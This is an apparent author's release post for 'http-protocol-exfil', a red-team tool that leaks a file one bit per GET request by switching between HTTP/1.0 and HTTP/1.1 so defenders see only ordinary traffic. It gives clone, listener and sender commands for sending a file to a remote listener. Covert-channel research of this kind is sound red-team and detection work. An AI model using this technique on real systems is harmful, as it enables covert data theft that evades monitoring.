Ricardo J. Ruiz Fernández

Releasing http-protocol-exfil, a tool that uses the HTTP protocol version to send a file bit by bit (“HTTP/1.0” is a 0 and “HTTP/1.1” is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).

Download repository

git clone https://github.com/ricardojoserf/http-protocol-exfil
cd http-protocol-exfil

Create listener

To run the listener use listener.py with one optional argument: the port it will be listening in.

python3 listener.py [PORT]

Example:

python3 listener.py 8080

Send a file

To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).

python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Example:

python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example

First the file is sent:

If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:

The new file is created with the content of the input file:

Motivation

I think (I am not sure) I read someone on Twitter who claimed to have used this to exfiltrate data and I liked the idea, if you are that person let me know.